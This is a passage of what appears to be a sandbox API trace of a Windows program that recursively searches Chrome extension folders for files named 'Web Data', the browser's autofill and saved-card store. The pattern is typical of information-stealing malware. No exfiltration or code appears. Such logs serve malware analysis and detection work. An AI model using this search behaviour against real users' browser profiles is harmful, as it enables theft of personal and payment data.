IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk" [0056.277] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*" [0056.277] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.277] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.277] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.277] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.277] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.277] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.277] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.277] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.277] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.277] LocalFree (hMem=0x2daca0) returned 0x0 [0056.277] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.277] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.277] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.277] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.277] lstrlenA (lpString="\\") returned 1 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.278] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.278] lstrlenA (lpString="vi") returned 2 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.278] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi" [0056.278] LocalFree (hMem=0x2daca0) returned 0x0 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi") returned 131 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi") returned 131 [0056.278] lstrlenA (lpString="\\*.*") returned 4 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.278] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*" [0056.278] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.278] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.278] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.278] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.278] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.278] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.278] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.278] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.278] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.278] LocalFree (hMem=0x2daca0) returned 0x0 [0056.278] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.278] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.278] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.278] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.278] lstrlenA (lpString="\\") returned 1 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.278] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.278] lstrlenA (lpString="zh_CN") returned 5 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.278] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN" [0056.278] LocalFree (hMem=0x2daca0) returned 0x0 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN") returned 134 [0056.278] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN") returned 134 [0056.278] lstrlenA (lpString="\\*.*") returned 4 [0056.278] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.278] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN" [0056.278] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*" [0056.278] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.279] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.279] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.279] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.279] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.279] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.279] LocalFree (hMem=0x2daec0) returned 0x0 [0056.279] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.279] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.279] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.279] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.279] lstrlenA (lpString="\\") returned 1 [0056.279] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.279] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.279] lstrlenA (lpString="zh_TW") returned 5 [0056.279] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.279] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW" [0056.279] LocalFree (hMem=0x2daca0) returned 0x0 [0056.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW") returned 134 [0056.279] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW") returned 134 [0056.279] lstrlenA (lpString="\\*.*") returned 4 [0056.279] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.279] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW" [0056.279] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*" [0056.279] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.279] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.279] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.279] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.279] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.279] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.279] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.280] LocalFree (hMem=0x2daec0) returned 0x0 [0056.280] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.280] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.280] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.280] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.280] LocalFree (hMem=0x2deed8) returned 0x0 [0056.280] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.280] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.280] LocalFree (hMem=0x2decc8) returned 0x0 [0056.280] LocalFree (hMem=0x2debc8) returned 0x0 [0056.280] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0 [0056.280] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.280] LocalFree (hMem=0x2dd9c0) returned 0x0 [0056.280] LocalFree (hMem=0x2dd8c0) returned 0x0 [0056.280] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.280] lstrcmpiA (lpString1=".", lpString2="blpcfgokakmgnkcojhhkbfbldkacnbeo") returned -1 [0056.280] lstrcmpiA (lpString1="..", lpString2="blpcfgokakmgnkcojhhkbfbldkacnbeo") returned -1 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.280] lstrlenA (lpString="\\") returned 1 [0056.280] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2dd7e0 [0056.280] lstrcpyA (in: lpString1=0x2dd7e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.280] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.280] lstrlenA (lpString="blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 32 [0056.280] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2dd8c0 [0056.280] lstrcpyA (in: lpString1=0x2dd8c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.280] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" [0056.280] LocalFree (hMem=0x2dd7e0) returned 0x0 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.280] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.280] lstrlenA (lpString="\\*.*") returned 4 [0056.280] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dd9c0 [0056.280] lstrcpyA (in: lpString1=0x2dd9c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" [0056.280] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*" [0056.280] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 